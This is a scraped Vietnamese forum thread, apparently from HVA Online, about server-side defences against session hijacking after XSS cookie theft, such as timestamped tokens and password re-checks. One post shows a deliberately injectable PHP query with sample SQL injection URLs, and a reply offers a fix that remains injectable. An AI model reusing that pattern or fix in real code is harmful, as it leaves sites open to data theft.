gặp khó khăn hơn vì cái security token này attacker cũng khó mà có được. * Cấp thứ 2 là làm thêm 1 ô verify password ở cái trang "Are you sure?". Xét về mặt tiện dụng thì có hơi bất tiện 1 chút. Nhưng giả sử với 1 action nguy hiểm như "delete sạch 1 box của diễn đàn (và có thể các box con của nó)" thì thêm 1 ô verify password cũng đâu có gì là quá đáng :-) Và cái điểm thứ 2 của Thái này anh Diêu cũng đã dùng 5-6 năm nay ở diễn đàn mình rồi (mọi tác vụ đều phải nhập username/password và POST), có gì "kẹt" đâu :-) Tuy nhiên, kiểu gì thì kiểu nhưng vẫn không thể nào hoàn hảo được. Mình phải chấp nhận sự cân bằng giữa nhiều yếu tố ở mức độ nào đó mà thôi. P/S: Có ai thử làm post 1 bài viết trên forum HVA mà muốn xóa nó sẽ rất cực, thậm chí có thể gần như không xóa được nó nếu không biết cái trick ;-) Cho tới thời điểm post bài, HVA vẫn bị "lỗi" này. "Lỗi" này "phá chơi" cho vui chứ không hại gì nhiều. Mà cũng rất dễ làm :D]]> /hvaonline/posts/list/19371.html#118548 /hvaonline/posts/list/19371.html#118548 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:

boom_jt wrote:
hì hì, bồ cứ đưa đoạn mã bị sql inj, mình đảm bảo fix đc á :P xss như đoạn bồ vừa nói là 1 trường hợp rất hay, (cũng filter đc chớ :P giả dụ ko cho thực hiện câu javascript tiếp theo bằng dấu ; - js mà ko có ; thì có thực hiện tiếp đc ko nhỉ :-/) @mR.Bi: lọc hết js thì mất hết hay của web rùi còn gì :D 
hehe, XSS mà bồ đi lọc dấu chấm phẩy àh? Hay là thấy trường hợp của tui rồi mới nảy ra ý lọc dấu chấm phẩy (j/k). Còn đoạn code bị SQL injection là thế này đây Tui có một website về 1 giải bóng đá (WC 2010) chẳng hạn: giải đấu được chia ra làm 10000 bảng: #:S muốn xem thông tin các đội trong 1 bảng, ví dụ bảng A đi: thì truy cập URL: http://football.com/info.php?table=A trong source-code $sql="select * from $_GET[table]"; ....... hehe, lúc đó hacker tấn công SQL injection ở mức cơ bản http://football.com/info.php?table=Admin hoặc http://football.com/info.php?table=Infomation_schema.tables ..... thì bồ xây dựng bộ lọc SQL injection trong trường hợp này thế nào ?? :D @vivashadow: Bồ làm một bài về httpOnly đi, tui có nhiều thắc mắc về nó :D  
Sao lại không lọc được, chỉ cần tạo mảng chứa các table nhạy cảm hoặc có thể đặt tên table như: _A, _B $sql="select * from _".$_GET[table]; Trong PHP có hỗ trợ session_ regenerate_ id, có thể sau 3 request thì tạo lại session_id. Mod vào xem bài viết (1), thực hiện xóa bài (2), trở về lại(3). Tuy nhiên cách này lại xung đột với token nếu thao tác kiểu inline mod. session_id đã đổi nhưng giá trị token của trang hiện tại vẫn còn vì chưa load lại trang. HVA còn lờ đi phần Ghi nhớ, chứ nếu có nữa thì còn nhiều vấn đề phải bàn. Không có tính năng này thì ít ra cũng nên đặt Login box bên ngoài để login cho nhanh, chứ cứ mỗi lần phải vào Đăng nhập thì rất mất cảm tình. p/s: Theo mình thì khó mà chống mất cookie, mình chơi nghệ sĩ hơn là có lấy được nhưng không xài được -:-) ]]> /hvaonline/posts/list/19371.html#118908 /hvaonline/posts/list/19371.html#118908 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

bietchetlien007 wrote:
...... Sao lại không lọc được, chỉ cần tạo mảng chứa các table nhạy cảm hoặc có thể đặt tên table như: _A, _B $sql="select * from _".$_GET[table]; Trong PHP có hỗ trợ session_ regenerate_ id, có thể sau 3 request thì tạo lại session_id. Mod vào xem bài viết (1), thực hiện xóa bài (2), trở về lại(3). Tuy nhiên cách này lại xung đột với token nếu thao tác kiểu inline mod. session_id đã đổi nhưng giá trị token của trang hiện tại vẫn còn vì chưa load lại trang.  
Thử suy nghĩ xem đổi sessionid sẽ giúp cái gì?

bietchetlien007 wrote:
HVA còn lờ đi phần Ghi nhớ, chứ nếu có nữa thì còn nhiều vấn đề phải bàn. Không có tính năng này thì ít ra cũng nên đặt Login box bên ngoài để login cho nhanh, chứ cứ mỗi lần phải vào Đăng nhập thì rất mất cảm tình.  
Không phải là lờ mà là cố tình. Bồ có biết lý do tại sao cố tình làm như thế không?

bietchetlien007 wrote:
p/s: Theo mình thì khó mà chống mất cookie, mình chơi nghệ sĩ hơn là có lấy được nhưng không xài được -:-)  
Hơi lạc đề. Thử lấy cookie của tôi xem có được hay không mà cho rằng "Theo mình thì khó mà chống mất cookie"?]]> /hvaonline/posts/list/19371.html#118911 /hvaonline/posts/list/19371.html#118911 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118968 /hvaonline/posts/list/19371.html#118968 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

bietchetlien007 wrote:
Biết chết liền :D Đợi 3 lần thì quá lâu, cái class này làm luôn 1 lần. www.phpclasses.org/browse/package/2794.html Cần có ví dụ cụ thể về cuộc tấn công của member kia, chứ vầy thì lẫn lộn giữa XSS và session hijacking + XSS Cố tình lờ đi cái Ghi nhớ chắc là sợ bị flood hoặc gì gì đó :D p/s: Cái editor của forum này chuối thật, không nhận biết được con trỏ đang ở đâu, lúc nào nó cũng chèn vào cuối bài viết. 
Nếu muốn tránh "biết chết liền" thì nên suy nghĩ cho kỹ trước khi post.]]> /hvaonline/posts/list/19371.html#118975 /hvaonline/posts/list/19371.html#118975 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

bietchetlien007 wrote:
Biết chết liền :D Đợi 3 lần thì quá lâu, cái class này làm luôn 1 lần. www.phpclasses.org/browse/package/2794.html Cần có ví dụ cụ thể về cuộc tấn công của member kia, chứ vầy thì lẫn lộn giữa XSS và session hijacking + XSS Cố tình lờ đi cái Ghi nhớ chắc là sợ bị flood hoặc gì gì đó :D p/s: Cái editor của forum này chuối thật, không nhận biết được con trỏ đang ở đâu, lúc nào nó cũng chèn vào cuối bài viết. 
xem lại đi bạn, mọi người đều dùng bình thường mà, chưa thấy ai kêu ca về vấn đề này trước đây cả.]]> /hvaonline/posts/list/19371.html#118977 /hvaonline/posts/list/19371.html#118977 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
... p/s: @prof: mình chưa hiểu rõ lắm ý tưởng timestamp của bồ, có thể nói rõ thêm cho mình hiểu chút đc ko, sozy :) 
Bạn chưa rõ cụ thể ở điểm nào? P.S: Không cần phải "sozy" đâu, boom_jt. Không rõ thì hỏi cho rõ thôi mà :).]]> /hvaonline/posts/list/19371.html#119017 /hvaonline/posts/list/19371.html#119017 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv cụ thể (:P) cái timestamp đó đc implement thế nào :-? nội dung truyền giữa client và server là tn?]]> /hvaonline/posts/list/19371.html#119039 /hvaonline/posts/list/19371.html#119039 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
hì, mình chưa rõ là cụ thể (:P) cái timestamp đó đc implement thế nào :-? nội dung truyền giữa client và server là tn? 
Ah, thì ra là bạn hỏi về cách implement. Theo tớ "đoán", có lẽ securityHash/token của HVA chưa gồm yếu tố thời gian nên có thể bị lợi dụng (Session Hijack). Vì vậy, mỗi khi một securityHash/token được tạo, sẽ kèm theo thời gian tạo token này (bên cạnh các yếu tố đặc trưng khác). Server-side sẽ qui định timestamp bao nhiêu đó để token còn hợp lệ (tính từ thời gian tạo) khi mods tiến hành thao tác điều hợp. Nếu bạn đã quen với các khái niệm cơ bản như cookies, sessionID, token, và cách chúng được hình thành và gửi/nhận thế nào thì việc implement thêm timestamp sẽ không quá khó khăn. Có lẽ tôi xin không đi vào tiểu tiết hơn nữa, chẳng hạn như cách tổ hợp thêm yếu tố thời gian vào securityHash/token thế nào, quản lý timestamp ra sao, lưu trữ thế nào,... vì điều này tùy thuộc vào khả năng "tuỳ biến" của mỗi người. Hi vọng giải đáp được câu hỏi của bạn. Thân mến.]]> /hvaonline/posts/list/19371.html#119118 /hvaonline/posts/list/19371.html#119118 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#119123 /hvaonline/posts/list/19371.html#119123 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
Mình đoán ý bạn thế này: mình sẽ sử dụng 1 khái niệm gọi là timeout, cookie sẽ chỉ hợp lệ trong 1 khoảng thời gian nhất định đúng ko? Sau khoảng thời gian đó, cookie ko còn hợp lệ, và như vậy kẻ tấn công không thể làm gì đc với cookie ko còn hợp lệ đó? 
Uh, cơ bản là như vậy.

boom_jt wrote:
Vậy thì khi quá thời gian đó, phải chăng người dùng sẽ lại phải nhập username/password để có 1 cookie hợp lệ mới (có bất tiện cho người dùng quá ko? :-?), hay bạn sẽ thực thi cơ chế nào đó ? Mình nghĩ nên đi chi tiết vào vấn đề này để làm rõ khả năng ngăn ngừa session hijacking của phương pháp. Cơ chế timeout này cũng đã đc áp dụng (yahoo! mail chẳng hạn), tuy nhiên thời gian timeout có thể là 1 ngày (khá dài), đủ để kẻ tấn công làm đc điều hắn muốn ... 
Um, trước tiên ta nên thống nhất với nhau một vài giả thiết sau đây để tránh đi quá xa nhé: - Thứ nhất, việc thảo luận giải pháp chống session hijack mà tớ đề nghị là áp dụng cho "ngữ cảnh" HVA Forum. Nên nhớ mỗi Web application có cấu trúc, kịch bản không giống nhau. - Thứ nhì, session hijack thực sự trở nên nghiêm trọng đối với các sessions của Vmods/Mods vì kẻ tấn công có thể nhằm vào đó để gây hại cho diễn đàn thông qua các hành động Modify, Delete, v..v... Theo đó, một bộ phận không quá nhiều người dùng mới áp dụng cơ chế này. Do đó, ý tưởng (dùng timestamp) thì như vậy, nhưng với mỗi application cụ thể nên có cách áp dụng đủ linh động và mềm dẻo. Chẳng hạn, xác định giá trị timestamp thế nào cho hợp lý, những securityHash/token nào cần dùng thêm timestamp, những trang nào thì nên áp dụng kiểu token này, v..v... những việc này cần phải cân nhắc, khảo sát kỹ càng. Một Moderator sau khi request một trang moderate.xyz nào đó, thì không thể sau 30 phút, hay 300 phút mới thực thi hành động Move hay Delete. Mặt khác, tớ cũng đã đề cập tới giải pháp bảo vệ securityHash/token trong khoảng thời gian timestamp rồi. Bạn đọc lại đoạn này nhé:

prof wrote:
Em nghĩ có thể kết hợp thêm yếu tố Timestamp (chẳng hạn, khoảng 30 giây) cho securityHash/token (có tính duy nhất cho 1 session) hiện tại của diễn đàn. Theo đó, phía server sẽ lưu giữ một table các securityHash này và sẽ không chấp nhận một request nào đó nếu giá trị securityHash đã và đang được dùng trước đó. Table này sẽ chỉ lưu các securityHash trong khoảng thời gian của Timestamp sau đó sẽ được giải phóng mà không chiếm tài nguyên. Trong trường hợp nhận được 2 requests với 2 securityHash giống nhau (bị session hijack), khi đó server-side nên cân nhắc trường hợp reject cả hai request này (vì khi đó không rõ request nào là hợp lệ) hoặc tiến hành verify lại password. 
Thân.]]> /hvaonline/posts/list/19371.html#119236 /hvaonline/posts/list/19371.html#119236 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#119240 /hvaonline/posts/list/19371.html#119240 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server sống chung với XSS", như kiểu "sống chung với lũ", thừong hay đề cập trên báo chí. Nếu như vậy tôi xin có ý kiến như dưới đây. Nhưng trước hết xin "làm rõ" lại một câu tôi viết ở một post, tại trang 3, topic này.

PXMMRF wrote:
2- Khi chỉ xem forum, post bài, các Admin. không nên truy cập vào HVA forum dứoi nickname- password của một Administrator, với quyền hạn như của một "root", mà chỉ nên truy cập vào dưới nickname và password với quyền hạn như của một Mod. Còn khi config. lại Forum mới dùng quyền của Admin-root.  

ThichHacking binhluan wrote:
Bàn về cách này của bác Mai ví dụ như kẻ tấn công đã có chủ ý và lỗi đó bị khai thác trong phần chữ ký chẳng hạn thì kẻ đó hoàn toàn có thể gởi một PM trực tiếp đến tài khoản có quyền quản trị cao nhất (chẳng hạn như quanlytruong) chẳng hạn thì khi (quanlytruong) đọc tin nhắn có kèm theo chữ ký thì hoàn toàn đã bị hacker cướp được. và lúc đó Hacker đang vẫn có thể khai thác với quyền tối cao.  
Theo ý tôi viết thì "quản lý trưởng" cũng chỉ có quyền hạn đối với hệ thống như của một Mod., không hơn. Chức danh "quản lý trưởng" xuất hiện và sử dụng trên diễn đàn chỉ có ý nghĩa về mặt "hành chính", chứ không có thưc quyền như của một Admin. hay "root". Các nickname có quyền "Admin." hay quyền root tuyệt đối không đựoc phép xuất hiện, sử dụng trên diễn đàn, không có trong "danh sách thành viên forum" (không ai biết nickname này). Trở lại vấn đề "sống chung với XSS", thì tôi thấy giải pháp gợi ý của bác conmale (thay thế cookie mỗi lần user tái truy cập đến HVA forum) tuy khá hay, nhưng thực tế lại ít hiệu quả, vì những lý do sau: - Khi có ý lấy cắp các thông tin liên quan đến phiên truy cập của một user vào HVA forum thì hacker luôn ở trạng thái sẵn sàng, chủ động, có thể nói là nó sẽ "túc trực" bên webserver của nó để lấy ngay các thông tin mà nó thu đựoc. Khi có thông tin, nó sẽ nhanh chóng vào đựoc ngay HVA forum dưới nickname của nạn nhân (dù lúc đầu chẳng biết nickname và pass của nạn nhân cụ thể là gì). - Nạn nhân ít khi truy cập liên tiếp từ URL này sang URL kia, mà thừong truy cập đến một URL thì dừng lại một thời gian lâu để đọc hết bài này sang bài khác, hay post bài. Nhiều bác truy cập đến một URL xem qua một hai bài rồi bỏ máy đi ra ngoài làm việc khác, lâu mới quay lại máy tính. Hacker thừa thời gian mà truy cập vào forum, chẳng cần phải "nhanh tay, nhanh chân" hay viết thêm một script gì. - Do forum bị lỗi XSS nên lúc nào hacker cũng thu thập đựoc thông tin của các user. Nếu nó vào không đựoc lần này (do user chạy "xô" liên tiếp qua nhiều URL), thì nó vào lần sau, chắc chắn là thành công. Để "sống chung với XSS" (nếu ta muốn như vậy hay bắt buộc phải như vậy), thì tôi sẽ theo một giải pháp khác, xuất phát từ việc phân tích nguyên lý khai thác lỗi XSS của hacker. Tôi sẽ tìm cách để thành phần thứ 3 (tức là hacker với công cụ webserver của hacker) trong quá trình exploit scenarios, không thể phát huy bất cứ một tác dụng gì. Nghĩa là làm cho nó vô dụng. Để làm việc này tôi đã đề cập một số giải pháp (không cho insert hình ảnh upload trên các webserver khác vào HVA forum, không cho đặt link trên forum để chỉ cần click vào link là có thể kết nối đến các webserver khác, trừ các link nội bô ...vân vân). Chúng ta để ý sẽ thấy rằng các trang chủ của các công ty kinh doanh tên miền nổi tiếng thường thiết kế rất đơn giản (không hề có animation pic. hay flash gì cả), không hề hiện diện một link "sống" nào, trừ các link nội bộ. Vì các trang chủ này thường có nơi Login vào "Domain control panel", mà trong trừong hợp này thì nickname và pass của một user là tối quan trọng. Cũng như đã có một số website của chính phủ Mỹ, khi user chỉ chuột vào một link liên kết với một webserver bên ngoài, thì lập tức có một cửa sổ popup hiện ra, với cảnh báo đại thể là: "Bạn đang rời website của chúng tôi để truy cập đến một website-webserver bên ngoài. Chúng tôi cảnh báo việc này và không chịu trách nhiệm nếu như việc này có thể gây tổn thất, rắc rối... cho bạn". Các website này chắc đã thấy rõ tầm quan trọng của lỗi XSS cũng như việc khó loại bỏ hết lỗi XSS trong website của mình. Một số website khác cho phép user post các link tham khảo, nhưng không được dưới dạng "Hyperlink" mà dưới dạng text. Ngừoi đọc phải copy và dán lên một cửa sổ trình duyệt mới mở ra. Ngoài ra nếu tạo điều kiện cho user được insert hình ảnh lên HVA forum thuận tiện, dễ dàng thì có lẽ sau này HVA nên có một "file uploading server" riêng. Tạo cái này thưc ra không khó. ]]> /hvaonline/posts/list/19371.html#119247 /hvaonline/posts/list/19371.html#119247 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

PXMMRF wrote:
Để "sống chung với XSS" (nếu ta muốn như vậy hay bắt buộc phải như vậy), thì tôi sẽ theo một giải pháp khác, xuất phát từ việc phân tích nguyên lý khai thác lỗi XSS của hacker. Tôi sẽ tìm cách để thành phần thứ 3 (tức là hacker với công cụ webserver của hacker) trong quá trình exploit scenarios, không thể phát huy bất cứ một tác dụng gì. Nghĩa là làm cho nó vô dụng. Để làm việc này tôi đã đề cập một số giải pháp (không cho insert hình ảnh upload trên các webserver khác vào HVA forum, không cho đặt link trên forum để chỉ cần click vào link là có thể kết nối đến các webserver khác, trừ các link nội bô ...vân vân). Chúng ta để ý sẽ thấy rằng các trang chủ của các công ty kinh doanh tên miền nổi tiếng thường thiết kế rất đơn giản (không hề có animation pic. hay flash gì cả), không hề hiện diện một link "sống" nào, trừ các link nội bộ. Vì các trang chủ này thường có nơi Login vào "Domain control panel", mà trong trừong hợp này thì nickname và pass của một user là tối quan trọng. Cũng như đã có một số website của chính phủ Mỹ, khi user chỉ chuột vào một link liên kết với một webserver bên ngoài, thì lập tức có một cửa sổ popup hiện ra, với cảnh báo đại thể là: "Bạn đang rời website của chúng tôi để truy cập đến một website-webserver bên ngoài. Chúng tôi cảnh báo việc này và không chịu trách nhiệm nếu như việc này có thể gây tổn thất, rắc rối... cho bạn". Các website này chắc đã thấy rõ tầm quan trọng của lỗi XSS cũng như việc khó loại bỏ hết lỗi XSS trong website của mình. Một số website khác cho phép user post các link tham khảo, nhưng không được dưới dạng "Hyperlink" mà dưới dạng text. Ngừoi đọc phải copy và dán lên một cửa sổ trình duyệt mới mở ra. Ngoài ra nếu tạo điều kiện cho user được insert hình ảnh lên HVA forum thuận tiện, dễ dàng thì có lẽ sau này HVA nên có một "file uploading server" riêng. Tạo cái này thưc ra không khó.  
Yeah! Yeah! Yeah! Ý kiến của mình ở trên chính là muốn Admin khai triển điều này. (chỉ có điều mình chưa diễn đạt được như đồng chí PXMMRF ):D Cảm ơn bạn PXMMRF.]]> /hvaonline/posts/list/19371.html#119312 /hvaonline/posts/list/19371.html#119312 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

done wrote:

PXMMRF wrote:
Để "sống chung với XSS" (nếu ta muốn như vậy hay bắt buộc phải như vậy), thì tôi sẽ theo một giải pháp khác, xuất phát từ việc phân tích nguyên lý khai thác lỗi XSS của hacker. Tôi sẽ tìm cách để thành phần thứ 3 (tức là hacker với công cụ webserver của hacker) trong quá trình exploit scenarios, không thể phát huy bất cứ một tác dụng gì. Nghĩa là làm cho nó vô dụng. Để làm việc này tôi đã đề cập một số giải pháp (không cho insert hình ảnh upload trên các webserver khác vào HVA forum, không cho đặt link trên forum để chỉ cần click vào link là có thể kết nối đến các webserver khác, trừ các link nội bô ...vân vân). Chúng ta để ý sẽ thấy rằng các trang chủ của các công ty kinh doanh tên miền nổi tiếng thường thiết kế rất đơn giản (không hề có animation pic. hay flash gì cả), không hề hiện diện một link "sống" nào, trừ các link nội bộ. Vì các trang chủ này thường có nơi Login vào "Domain control panel", mà trong trừong hợp này thì nickname và pass của một user là tối quan trọng. Cũng như đã có một số website của chính phủ Mỹ, khi user chỉ chuột vào một link liên kết với một webserver bên ngoài, thì lập tức có một cửa sổ popup hiện ra, với cảnh báo đại thể là: "Bạn đang rời website của chúng tôi để truy cập đến một website-webserver bên ngoài. Chúng tôi cảnh báo việc này và không chịu trách nhiệm nếu như việc này có thể gây tổn thất, rắc rối... cho bạn". Các website này chắc đã thấy rõ tầm quan trọng của lỗi XSS cũng như việc khó loại bỏ hết lỗi XSS trong website của mình. Một số website khác cho phép user post các link tham khảo, nhưng không được dưới dạng "Hyperlink" mà dưới dạng text. Ngừoi đọc phải copy và dán lên một cửa sổ trình duyệt mới mở ra. Ngoài ra nếu tạo điều kiện cho user được insert hình ảnh lên HVA forum thuận tiện, dễ dàng thì có lẽ sau này HVA nên có một "file uploading server" riêng. Tạo cái này thưc ra không khó.  
Yeah! Yeah! Yeah! Ý kiến của mình ở trên chính là muốn Admin khai triển điều này. (chỉ có điều mình chưa diễn đạt được như đồng chí PXMMRF ):D Cảm ơn bạn PXMMRF. 
Theo tôi thì giải pháp này nghiên về hướng phòng chống XSS, không cho nó xảy ra. Đây là những biện pháp tốt nhưng chủ đề mình đang bàn là: giả sử mình bị XSS và chưa khắc phục thì ở phía server mình có thể làm những gì để ngăn cản hoặc giảm thiểu dung hại tình trạng session bị hijack do mất cookie. Tất nhiên phòng cháy hơn chữa cháy. Việc ngăn ngừa XSS xảy ra và ưu tiên một nhưng cái scope để bàn luận ở đây không phải là các phương pháp ngăn ngừa XSS. :P ]]> /hvaonline/posts/list/19371.html#119315 /hvaonline/posts/list/19371.html#119315 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

conmale wrote:
Theo tôi thì giải pháp này nghiên về hướng phòng chống XSS, không cho nó xảy ra. Đây là những biện pháp tốt nhưng chủ đề mình đang bàn là: giả sử mình bị XSS và chưa khắc phục thì ở phía server mình có thể làm những gì để ngăn cản hoặc giảm thiểu dung hại tình trạng session bị hijack do mất cookie. Tất nhiên phòng cháy hơn chữa cháy. Việc ngăn ngừa XSS xảy ra và ưu tiên một nhưng cái scope để bàn luận ở đây không phải là các phương pháp ngăn ngừa XSS. :P  
Giờ thì không biết đang lạc đề đi đâu. Lúc trước ý em cũng như thế mà, coi việc mất cookie là hiển nhiên, giờ phải tìm cách khắc phục cho session từ server. Vậy mà anh bảo là lạc đề, pó 2 tay -:|- ]]> /hvaonline/posts/list/19371.html#119383 /hvaonline/posts/list/19371.html#119383 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#120516 /hvaonline/posts/list/19371.html#120516 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#121067 /hvaonline/posts/list/19371.html#121067 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

nhuhoang wrote:
Mình nghĩ cách dùng password thứ hai khá hay. VD ta cho nó gồm 2 chữ số và trong mỗi tao tác quản trị thì verify lại pass này. Vì pass phụ chỉ có 2 chữ số nên ko gây nhiều quá nhiều cản trở như việc nhập lại pass chính (passwd của các admin và mod trên forum thì có lẽ khá rắc rối).  
thực ra chỉ cần 1 password là đủ bạn ạ, vì kẻ tấn công chỉ lấy được sessionID +http header chứ không lấy được password của người bị hại.]]> /hvaonline/posts/list/19371.html#121088 /hvaonline/posts/list/19371.html#121088 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#141954 /hvaonline/posts/list/19371.html#141954 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#160534 /hvaonline/posts/list/19371.html#160534 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#160535 /hvaonline/posts/list/19371.html#160535 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server

hunter1b wrote:
í em còn quên cái này,các anh chỉ dùm em luôn,em thấy các anh bảo là chỉ cần view sorce là có thể thấy được sessionID mà em tìm mãi mà kô thấy cái sesionID nào cả,thử mấy trang rồi.mong chỉ giúp ạ. 
Ai bảo view source là thấy được sessionID thế?]]> /hvaonline/posts/list/19371.html#160583 /hvaonline/posts/list/19371.html#160583 GMT [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#232291 /hvaonline/posts/list/19371.html#232291 GMT